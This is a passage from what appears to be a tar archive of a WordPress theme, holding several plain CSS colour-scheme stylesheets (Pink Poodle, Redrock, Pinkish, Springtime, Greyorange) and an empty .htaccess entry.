ul#topnav-menu ul a:hover, #topnav-menu ul ul a:hover, ul#topnav-menu ul a:focus, #topnav-menu ul ul a:focus {
	background-color: #c62775;
}
ul#topnav-menu ul a, #topnav-menu ul ul a {
	border-top: 1px solid #5584f7;
}
/* Search */
.search-form-top {
    background-color: #25020f;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #9e1e4c;
}
/* Main Navigation */
#navi-wrap {
	background: #9e1e4c;
	border-bottom: 3px solid #ff1168;
}
.natty #navi-wrap {
	background: #9e1e4c;
	border-top: 1px solid #5da5f1;
	border-bottom: 1px solid #5da5f1;
}
.stickynav {
	background: #9e1e4c;
	border-top: 2px solid #B5788E;
	border-bottom: 2px solid #B5788E;
}
.nav-menu li:first-child, .wide-header .nav-menu li:first-child {
	border-left: none;
}
/* Header */
#header-wrap, .natty #header-wrap {
    background-color: #c7024a;
    background: #ff1168 -webkit-gradient(linear, left top, left bottom, from(#c7024a), to(#ff1168)) no-repeat;
    background: #ff1168 -moz-linear-gradient(top, #c7024a, #ff1168) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#c7024a, endColorstr=#ff1168) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#c7024a, endColorstr=#c7024a)" no-repeat;
}
.header-line {
	border-top: 15px solid #160108;
	border-bottom: 1px solid #e10958;
}
#header-social-icons .social-icons-menu li a:hover, #header-social-icons .social-icons-menu li a:hover:before  {
	background: #9e1e4c;
}
#logo .site-title, #logo a:hover .site-title, #logo .site-description {
	color: #fff;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #8c9ca7;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle, #frontpage-magazine-widgets .widget .widgettitle, .widget-tabnavi, .widget-tabnavi {
	background: #25020f;
	border: 1px solid #25020f;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget, #sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
/* Footer Widgets */
#footer-widgets-bg {
    background: #ff1168 -webkit-gradient(linear, left top, left bottom, from(#c7024a), to(#ff1168)) no-repeat;
    background: #ff1168 -moz-linear-gradient(top, #c7024a, #ff1168) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#c7024a, endColorstr=#ff1168) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#c7024a, endColorstr=#c7024a)" no-repeat;
	border-top: 5px solid #9e1e4c;
}
#footer-widgets .widget {
    background: #eae3d8;
    border: 5px solid #9e1e4c;
}
#footer-widgets .widgettitle {
    background: #25020f;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link, #footer-widgets .widget a:visited {
    color: #333;
}
/* Footer */
#footer {
	background-color: #25020f;
    border-top: 1px solid #8f8f8f;
    border-bottom: 1px solid #8f8f8f;
}
/* LOL to Top */
.scrollToTop {
    background: #ff1168;
    border: 4px solid #9e1e4c;
}
.scrollToTop:hover {
    background: #0066cc;
}
.scrollToTop:before {
	color: #fff;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
.toggled-on .nav-menu > li a:hover,
.toggled-on .nav-menu > ul a:hover {
	background-color: #084c92;
	color: #fff;
}
.toggled-on .nav-menu .sub-menu,
.toggled-on .nav-menu .children {
	background-color: #213158;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #25020f;
}
.wide-header #content-wrap {
	border: 0;
	margin:0 auto;
}
#sidebar {
	clear: both;
	margin: 1em 0 0;
	padding:1em;
	width: 100%;
}
}pmgizmo/css/styles/pinkpoodle.css000064400000011023152223213640013214 0ustar00/*
Predefined Colors
Theme: Pink Poodle
*/
/* Links */
a:hover, a:active, .post-title a:hover, .post-title a:active, .widget a:hover, .widget a:active, .postmeta a:hover, .postmeta a:active{
	color: #1079c9;
}
/* Body */
body {
    background-color: #F5EEE1;
}
/* Top Navigation */
#topnav, #topnav-icon, #topheader {
	background: #752208;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #631b05;
}
.natty #topnav-menu li.current_page_item a, .natty #topnav-menu li.current-menu-item a {
	background: #631b05;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu a:hover, #topnav-menu li a:hover {
	background: rgba(255,255,255,0.15);
}
#topnav-menu .sub-menu, #topnav-menu .children {
	background-color: #213158;
	border: 2px solid #5584f7;
	border-top: none;
}
ul#topnav-menu ul a:hover, #topnav-menu ul ul a:hover, ul#topnav-menu ul a:focus, #topnav-menu ul ul a:focus {
	background-color: #c62775;
}
ul#topnav-menu ul a, #topnav-menu ul ul a {
	border-top: 1px solid #5584f7;
}
/* Search */
.search-form-top {
    background-color: #752208;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #3a2c22;
}
/* Main Navigation */
#navi-wrap {
	background: #3a2c22;
	border-bottom: 2px solid #7c6859;
}
.natty #navi-wrap {
	background: #3a2c22;
	border-top: 1px solid #7c5d4a;
	border-bottom: 1px solid #7c5d4a;
}
.stickynav {
	background: #3a2c22;
	border-top: 1px solid #7c5d4a;
	border-bottom: 1px solid #7c5d4a;
}
.nav-menu li:first-child, .wide-header .nav-menu li:first-child {
	border-left: none;
}
.nav-menu li:hover > a,
.nav-menu li a:hover,
.nav-menu li:focus > a,
.nav-menu li a:focus {
	background: rgba(255,255,255,0.1);
}
/* Header */
#header-wrap, .natty #header-wrap {
    background-color: #b6334c;
    background: #fd6e8a -webkit-gradient(linear, left top, left bottom, from(#b6334c), to(#fd6e8a)) no-repeat;
    background: #fd6e8a -moz-linear-gradient(top, #b6334c, #fd6e8a) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#b6334c, endColorstr=#fd6e8a) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#b6334c, endColorstr=#b6334c)" no-repeat;
}
.header-line {
	border-top: 15px solid #2d2017;
	border-bottom: 1px solid #fb5374;
}
#header-social-icons .social-icons-menu li a:hover, #header-social-icons .social-icons-menu li a:hover:before  {
	background: #3a2c22;
}
#logo .site-title, #logo a:hover .site-title, #logo .site-description {
	color: #fff;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #8c9ca7;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle, #frontpage-magazine-widgets .widget .widgettitle, .widget-tabnavi, .widget-tabnavi {
	background: #752208;
	border: 1px solid #121212;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget, #sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
/* Footer Widgets */
#footer-widgets-bg {
	background-color: #752208;
	border-top: 5px solid #7c5d4a;
}
#footer-widgets .widget {
    background: #f4d9de;
    border: 5px solid #7c5d4a;
}
#footer-widgets .widgettitle {
    background: #3a2c22;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link, #footer-widgets .widget a:visited {
    color: #333;
}
/* Footer */
#footer {
    border-top: 1px solid #7d6757;
	background-color: #3a2c22;
}
/* LOL to Top */
.scrollToTop {
    background: #fd6e8a;
    border: 4px solid #d5435f;
}
.scrollToTop:hover {
    background: #752208;
}
.scrollToTop:before {
	color: #fff;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
.toggled-on .nav-menu > li a:hover,
.toggled-on .nav-menu > ul a:hover {
	background-color: #084c92;
	color: #fff;
}
.toggled-on .nav-menu .sub-menu,
.toggled-on .nav-menu .children {
	background-color: #213158;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #631b05;
}
.wide-header #content-wrap {
	border: 0;
	margin:0 auto;
}
#sidebar {
	clear: both;
	margin: 1em 0 0;
	padding:1em;
	width: 100%;
}
}pmgizmo/css/styles/.htaccess000064400000000000152223213640012125 0ustar00pmgizmo/css/styles/redrock.css000064400000013165152223213640012512 0ustar00/*
Predefined Colors
Theme: Redrock
*/
/* Links */
a:hover,
a:active,
.post-title a:hover,
.post-title a:active,
.widget a:hover,
.widget a:active,
.postmeta a:hover,
.postmeta a:active {
	color: #721011;
}
/* Body */
body {
    background-color: #d4c5af;
}
/* Top Navigation */
#topnav,
#topnav-icon,
#topheader {
	background: #8b1313;
}
#topnav-menu .current_page_item,
#topnav-menu .current-menu-item {
	background: #301c0f;
}
.navhdr #topnav-menu .current_page_item,
.navhdr #topnav-menu .current-menu-item,
.natty #topnav-menu .current_page_item,
.natty #topnav-menu .current-menu-item {
	background: #830b0b;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu a:hover,
#topnav-menu li a:hover {
	background: #301c0f;
}
#topnav-menu .sub-menu,
#topnav-menu .children {
	background-color: #5d0707;
}
ul#topnav-menu ul a:hover,
#topnav-menu ul ul a:hover,
ul#topnav-menu ul a:focus,
#topnav-menu ul ul a:focus {
	background-color: #301c0f;
}
/* Search */
.search-form-top {
    background-color: #8b1313;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #301c0f;
}
/* Main Navigation */
#navi-wrap {
	background: #301c0f;
	border-top: none;
	border-bottom: 4px solid #7f6c65;
}
.stickynav,
.natty #navi-wrap {
	background: #301c0f;
	border-top: 2px solid #593720;
	border-bottom: 2px solid #593720;
}
.nav-menu li:hover > a,
.nav-menu li a:hover,
.nav-menu li:focus > a,
.nav-menu li a:focus {
	background-color: #710c0c;
	color: #fff;
}
.nav-menu .sub-menu,
.nav-menu .children {
	background-color: #510000;
}
ul.nav-menu ul a:hover,
.nav-menu ul ul a:hover,
ul.nav-menu ul a:focus,
.nav-menu ul ul a:focus {
	background-color: #710c0c;
}
#header .search-icon:before,
#header #navi-wrap .nav-menu li a,
#header .site-header .search-form:before,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:after {
	color: #f9f9f9;
}
#header #navi-wrap .nav-menu li a:hover,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:hover:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:hover:after {
	background-color: #710c0c;
}
/* Header */
#header-wrap,
.natty #header-wrap {
	background: #850203;
    background: #f22929 -webkit-gradient(linear, left top, left bottom, from(#850203), to(#f22929)) no-repeat;
    background: #f22929 -moz-linear-gradient(top, #850203, #f22929) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#850203, endColorstr=#f22929) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#850203, endColorstr=#f22929)" no-repeat;
}
.natty #header-wrap {
	border-top: 1px solid #9e0e0f;
}
.header-line {
	border-top: 15px solid #630203;
	border-bottom: 1px solid #b31213;
}
#header-social-icons .social-icons-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover:before {
	background: #301c0f;
}
#logo .site-title,
#logo a:hover .site-title,
#logo .site-description {
	color: #fff;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #af9990;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle,
#frontpage-magazine-widgets .widget .widgettitle,
.widget-tabnavi {
	background: #2f1c0e;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget,
#sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
.widget-tabbed .tabdiv li.widget-thumb {
    border-bottom: 1px solid #ededed;
    padding: 0.3em 0 0.3em 0.4em;
}
.search-form .search-submit,
#commentform #submit {
	background: #2f1c0e;
}
.search-form .search-submit:hover,
#commentform #submit:hover,
.entry .more-link:hover {
	background: #0066cc;
}
/* Footer Widgets */
#footer-widgets-bg {
	background: #301c0f;
	border-top: 5px solid #7f6c65;
}
#footer-widgets .widget {
    background: #e5dad1;
    border: 5px solid #7f6c65;
}
#footer-widgets .widgettitle {
    background: #2f1c0e;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link,
#footer-widgets .widget a:visited {
    color: #333;
}
#footer-widgets .product-title,
#footer-widgets .widget div,
#footer-widgets .widget ul {
	color: #333;
}
/* Footer */
#footer {
    border-top: 1px solid #502f1a;
	background: #211107;
}
/* LOL to Top */
.scrollToTop {
    background: #301c0f;
}
.scrollToTop:hover {
    background: #721011;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
	#header .menu-toggle {
		color: #f9f9f9;
		border-bottom: none;
	}
	#header #navi-wrap {
		border: none;
	}
	#header ul.nav-menu {
		background: #301c0f;
	}
	.toggled-on .nav-menu > li a:hover,
	.toggled-on .nav-menu > ul a:hover {
		background-color: #710c0c;
		color: #fff;
	}
	.toggled-on .nav-menu .sub-menu,
	.toggled-on .nav-menu .children {
		background-color: #510000;
	}
	#topnav-menu .current_page_item,
	#topnav-menu .current-menu-item {
		background: #8b1313;
	}
	.wide-header #content-wrap {
		border: 0;
		margin:0 auto;
	}
	#sidebar {
		clear: both;
		margin: 1em 0 0;
		padding:1em;
		width: 100%;
	}
}
@media only screen and (max-width: 50em) {
	#topnav-menu {
		background: #301c0f;
	}
}pmgizmo/css/styles/pinkish.css000064400000010703152223213640012521 0ustar00/*
Predefined Colors
Theme: Pinkish
*/
/* Links */
a:hover, a:active, .post-title a:hover, .post-title a:active, .widget a:hover, .widget a:active, .postmeta a:hover, .postmeta a:active{
	color: #1079c9;
	text-decoration: underline;
}
/* Body */
body {
    background-color: #E7E1E7;
}
/* Top Navigation */
#topnav, #topnav-icon, #topheader {
	background: #400d65;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #380b5a;
}
.natty #topnav-menu li.current_page_item a, .natty #topnav-menu li.current-menu-item a {
	background: #380b5a;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu a:hover, #topnav-menu li a:hover {
	background: #a01203;
}
#topnav-menu .sub-menu, #topnav-menu .children {
	background-color: #001228;
	border: 2px solid #303030;
	border-top: none;
}
ul#topnav-menu ul a:hover, #topnav-menu ul ul a:hover, ul#topnav-menu ul a:focus, #topnav-menu ul ul a:focus {
	background-color: #a01203;
}
ul#topnav-menu ul a, #topnav-menu ul ul a {
	border-top: 1px solid #303030;
}
/* Search */
.search-form-top {
    background-color: #400d65;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #C008A5;
}
/* Main Navigation */
#navi-wrap {
	background: #C008A5;
	border-bottom: 4px solid #E1ADF9;
}
.natty #navi-wrap {
	background: #C008A5;
	border-top: 3px solid #E1ADF9;
	border-bottom: 3px solid #E1ADF9;
}
.stickynav {
	background: #C008A5;
	border-top: 2px solid #a6018e;
	border-bottom: 2px solid #a6018e;
}
.nav-menu li:first-child, .wide-header .nav-menu li:first-child {
	border-left: none;
}
/* Header */
#header-wrap, .natty #header-wrap {
    background-color: #CB1F85;
    background: #FC81E6 -webkit-gradient(linear, left top, left bottom, from(#CB1F85), to(#FC81E6)) no-repeat;
    background: #FC81E6 -moz-linear-gradient(top, #CB1F85, #FC81E6) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#CB1F85, endColorstr=#FC81E6) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#CB1F85, endColorstr=#CB1F85)" no-repeat;
}
.header-line {
	border-top: 15px solid #9C0A60;
	border-bottom: 1px solid #F24DDA;
}
#header-social-icons .social-icons-menu li a:hover, #header-social-icons .social-icons-menu li a:hover:before  {
	background: #a01203;
}
#logo .site-title, #logo a:hover .site-title, #logo .site-description {
	color: #f7f7f7;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #5998c8;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle, #frontpage-magazine-widgets .widget .widgettitle, .widget-tabnavi, .widget-tabnavi {
	background: #013a62;
	border: 1px solid #400d65;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget, #sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
/* Footer Widgets */
#footer-widgets-bg {
	background-color: #c008a5;
	border-top: 5px solid #f986e0;
}
#footer-widgets .widget {
    background: #f5bde9;
    border: 5px solid #f986e0;
}
#footer-widgets .widgettitle {
    background: #c008a5;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link, #footer-widgets .widget a:visited {
    color: #333;
}
/* Footer */
#footer {
    border-top: 1px solid #f253db;
	background-color: #660257;
}
/* LOL to Top */
.scrollToTop {
    background: #e252b3;
    border: 4px solid #9b1d72;
}
.scrollToTop:hover {
    background: #400d65;
}
.scrollToTop:before {
	color: #fff;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
.toggled-on .nav-menu > li a:hover,
.toggled-on .nav-menu > ul a:hover {
	background-color: #7e0909;
	color: #fff;
}
.toggled-on .nav-menu .sub-menu,
.toggled-on .nav-menu .children {
	background-color: #021935;
}
#header-banner .widget {
	padding: 0;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #380b5a;
}
.wide-header #content-wrap {
	border: 0;
	margin:0 auto;
}
#sidebar {
	clear: both;
	margin: 1em 0 0;
	padding:1em;
	width: 100%;
}
}pmgizmo/css/styles/springtime.css000064400000012676152223213640013250 0ustar00/*
Predefined Colors
Theme: Springtime
*/
/* Links */
a:hover,
a:active,
.post-title a:hover,
.post-title a:active,
.widget a:hover,
.widget a:active,
.postmeta a:hover,
.postmeta a:active {
	color: #144108;
}
/* Body */
body {
    background-color: #b8b5a5;
}
/* Top Navigation */
#topnav,
#topnav-icon,
#topheader {
	background: #347620;
}
#topnav-menu .current_page_item,
#topnav-menu .current-menu-item {
	background: #2f1604;
}
.navhdr #topnav-menu .current_page_item,
.navhdr #topnav-menu .current-menu-item,
.natty #topnav-menu .current_page_item,
.natty #topnav-menu .current-menu-item {
	background: #316e1e;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu a:hover,
#topnav-menu li a:hover {
	background: #2f1604;
}
#topnav-menu .sub-menu,
#topnav-menu .children {
	background-color: #194d0b;
}
ul#topnav-menu ul a:hover,
#topnav-menu ul ul a:hover,
ul#topnav-menu ul a:focus,
#topnav-menu ul ul a:focus {
	background-color: #2f1604;
}
/* Search */
.search-form-top {
    background-color: #235f10;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #2f1604;
}
/* Main Navigation */
#navi-wrap {
	background: #2f1604;
	border-top: none;
	border-bottom: 4px solid #795135;
}
.stickynav,
.natty #navi-wrap {
	background: #2f1604;
	border-top: 2px solid #795135;
	border-bottom: 2px solid #795135;
}
.nav-menu li:hover > a,
.nav-menu li a:hover,
.nav-menu li:focus > a,
.nav-menu li a:focus {
	background-color: #76370a;
	color: #fff;
}
.nav-menu .sub-menu,
.nav-menu .children {
	background-color: #1e0e02;
}
ul.nav-menu ul a:hover,
.nav-menu ul ul a:hover,
ul.nav-menu ul a:focus,
.nav-menu ul ul a:focus {
	background-color: #194d0b;
}
#header .search-icon:before,
#header #navi-wrap .nav-menu li a,
#header .site-header .search-form:before,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:after {
	color: #f9f9f9;
}
#header #navi-wrap .nav-menu li a:hover,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:hover:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:hover:after {
	background-color: #76370a;
}
/* Header */
#header-wrap,
.natty #header-wrap {
	background: #3c8434;
    background: #53bd35 -webkit-gradient(linear, left top, left bottom, from(#3c8434), to(#53bd35)) no-repeat;
    background: #53bd35 -moz-linear-gradient(top, #3c8434, #53bd35) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#3c8434, endColorstr=#53bd35) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#3c8434, endColorstr=#53bd35)" no-repeat;
}
.natty #header-wrap {
	border-top: 1px solid #489a3f;
}
.header-line {
	border-top: 15px solid #263a1f;
	border-bottom: 1px solid #449934;
}
#header-social-icons .social-icons-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover:before {
	background: #2f1604;
}
#logo .site-title,
#logo a:hover .site-title,
#logo .site-description {
	color: #fff;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #968579;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle,
#frontpage-magazine-widgets .widget .widgettitle,
.widget-tabnavi {
	background: #347620;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget,
#sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
.search-form .search-submit,
#commentform #submit {
	background: #347620;
}
.search-form .search-submit:hover,
#commentform #submit:hover,
.entry .more-link:hover {
	background: #0066cc;
}
/* Footer Widgets */
#footer-widgets-bg {
	background: #19390f;
	border-top: 5px solid #59864B;
}
#footer-widgets .widget {
    background: #e5dad1;
    border: 5px solid #59864B;
}
#footer-widgets .widgettitle {
    background: #347720;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link,
#footer-widgets .widget a:visited {
    color: #333;
}
#footer-widgets .product-title,
#footer-widgets .widget div,
#footer-widgets .widget ul {
	color: #333;
}
/* Footer */
#footer {
    border-top: 1px solid #224e14;
	background: #061302;
}
/* LOL to Top */
.scrollToTop {
    background: #19390f;
}
.scrollToTop:hover {
    background: #2a6617;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
	#header .menu-toggle {
		color: #f9f9f9;
		border-bottom: none;
	}
	#header #navi-wrap {
		border: none;
	}
	#header ul.nav-menu {
		background: #2f1604;
	}
	.toggled-on .nav-menu > li a:hover,
	.toggled-on .nav-menu > ul a:hover {
		background-color: #a36f49;
		color: #fff;
	}
	.toggled-on .nav-menu .sub-menu,
	.toggled-on .nav-menu .children {
		background-color: #532808;
	}
	#topnav-menu .current_page_item,
	#topnav-menu .current-menu-item {
		background: #347620;
	}
	#sidebar {
		clear: both;
		margin: 1em 0 0;
		padding:1em;
		width: 100%;
	}
}
@media only screen and (max-width: 50em) {
	#topnav-menu {
		background: #2f1604;
	}
}pmgizmo/css/styles/greyorange.css000064400000013141152223213640013215 0ustar00/*
Predefined Colors
Theme: Greyorange
*/
/* Links */
a:hover,
a:active,
.post-title a:hover,
.post-title a:active,
.widget a:hover,
.widget a:active,
.postmeta a:hover,
.postmeta a:active {
	color: #1079c9;
}
/* Body */
body {
    background-color: #cbc1b1;
}
/* Top Navigation */
#topnav,
#topnav-icon,
#topheader {
	background: #3f3d3a;
}
#topnav-menu .current_page_item,
#topnav-menu .current-menu-item {
	background: #e98b09;
}
.navhdr #topnav-menu .current_page_item,
.navhdr #topnav-menu .current-menu-item,
.natty #topnav-menu .current_page_item,
.natty #topnav-menu .current-menu-item {
	background: #393735;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu a:hover,
#topnav-menu li a:hover {
	background: #e98b09;
}
#topnav-menu .sub-menu,
#topnav-menu .children {
	background-color: #332e25;
}
ul#topnav-menu ul a:hover,
#topnav-menu ul ul a:hover,
ul#topnav-menu ul a:focus,
#topnav-menu ul ul a:focus {
	background-color: #e98b09;
}
/* Search */
.search-form-top {
    background-color: #644b26;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #e98b09;
}
/* Main Navigation */
#navi-wrap {
	background: #e98b09;
	border-top: none;
	border-bottom: 4px solid #c75f1b;
}
.natty #navi-wrap {
	background: #e98b09;
	border-top: 3px solid #fdb756;
	border-bottom: 3px solid #fdb756;
}
.stickynav {
	background: #e98b09;
	border-top: 2px solid #c75f1b;
	border-bottom: 2px solid #c75f1b;
}
.nav-menu li:hover > a,
.nav-menu li a:hover,
.nav-menu li:focus > a,
.nav-menu li a:focus {
	background-color: #995a02;
	color: #fff;
}
.nav-menu .sub-menu,
.nav-menu .children {
	background-color: #4d2d01;
}
ul.nav-menu ul a:hover,
.nav-menu ul ul a:hover,
ul.nav-menu ul a:focus,
.nav-menu ul ul a:focus {
	background-color: #995a02;
}
#header .search-icon:before,
#header #navi-wrap .nav-menu li a,
#header .site-header .search-form:before,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:after {
	color: #f9f9f9;
}
#header #navi-wrap .nav-menu li a:hover,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:hover:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:hover:after {
	background-color: #995a02;
}
/* Header */
#header-wrap,
.natty #header-wrap {
	background: #533a1f;
    background: #c3b9af -webkit-gradient(linear, left top, left bottom, from(#533a1f), to(#c3b9af)) no-repeat;
    background: #c3b9af -moz-linear-gradient(top, #533a1f, #c3b9af) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#533a1f, endColorstr=#c3b9af) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#533a1f, endColorstr=#c3b9af)" no-repeat;
}
.natty #header-wrap {
	border-top: 1px solid #65492a;
}
.header-line {
	border-top: 15px solid #2f2212;
	border-bottom: 1px solid #6a5135;
}
#header-social-icons .social-icons-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover:before {
	background: #e98b09;
}
#logo .site-title,
#logo a:hover .site-title,
#logo .site-description {
	color: #fff;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #9b8e77;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle,
#frontpage-magazine-widgets .widget .widgettitle,
.widget-tabnavi {
	background: #3f3d3a;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget,
#sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
.search-form .search-submit,
#commentform #submit {
	background: #3f3d3a;
}
.search-form .search-submit:hover,
#commentform #submit:hover,
.entry .more-link:hover {
	background: #0066cc;
}
/* Footer Widgets */
#footer-widgets-bg {
	background: #1f1a11;
	border-top: 5px solid #a1947a;
}
#footer-widgets .widget {
    background: #e0e2e1;
    border: 5px solid #a1947a;
}
#footer-widgets .widgettitle {
    background: #e98b09;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link,
#footer-widgets .widget a:visited {
    color: #333;
}
#footer-widgets .product-title,
#footer-widgets .widget div,
#footer-widgets .widget ul {
	color: #333;
}
/* Footer */
#footer {
    border-top: 1px solid #393123;
	background: #0e0b05;
}
/* LOL to Top */
.scrollToTop {
    background: #1f1a11;
}
.scrollToTop:hover {
    background: #1079c9;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
	#header .menu-toggle {
		color: #f9f9f9;
		border-bottom: none;
	}
	#header #navi-wrap {
		border: none;
	}
	#header ul.nav-menu {
		background: #e98b09;
	}
	.toggled-on .nav-menu > li a:hover,
	.toggled-on .nav-menu > ul a:hover {
		background-color: #995a02;
		color: #fff;
	}
	.toggled-on .nav-menu .sub-menu,
	.toggled-on .nav-menu .children {
		background-color: #4d2d01;
	}
	#topnav-menu .current_page_item,
	#topnav-menu .current-menu-item {
		background: #3f3d3a;
	}
	.wide-header #content-wrap {
		border: 0;
